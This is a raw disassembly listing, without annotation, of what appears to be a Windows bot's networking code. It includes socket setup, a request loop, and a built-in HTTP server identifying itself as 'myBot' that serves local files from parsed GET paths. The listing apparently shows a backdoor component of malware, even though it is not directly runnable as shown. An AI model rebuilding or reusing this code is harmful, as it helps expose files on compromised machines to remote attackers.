		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Eh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
		dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A211Eh
		dd 10A16690h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 0E8575010h, 716A4A6Ah
		dd 7DC08590h, 0E9C38B07h, 548h,	0E8570A6Ah, 716A696Ah
		dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	23DAE890h
		dd 0F883716Ah, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 16E57E8h,	0FC08500h, 4A284h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
		dd 6A916CE8h, 0FFF88371h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349A4h, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 43499C68h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	49846816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
		dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 434944h, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
		dd 0BF000002h, 434904h,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348A0h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 434898h, 0D2CEE850h,	85590000h, 2A7559C0h, 80BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h,	481C681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 481468FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 47E86828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
		dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
		dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43475868h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 268050Ah
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 269040Ah
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26A04C6h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


loc_4101E2:				; CODE XREF: sub_4100B4+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_4101EF
		mov	[ebp+var_4], esi


loc_4101EF:				; CODE XREF: sub_4100B4+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
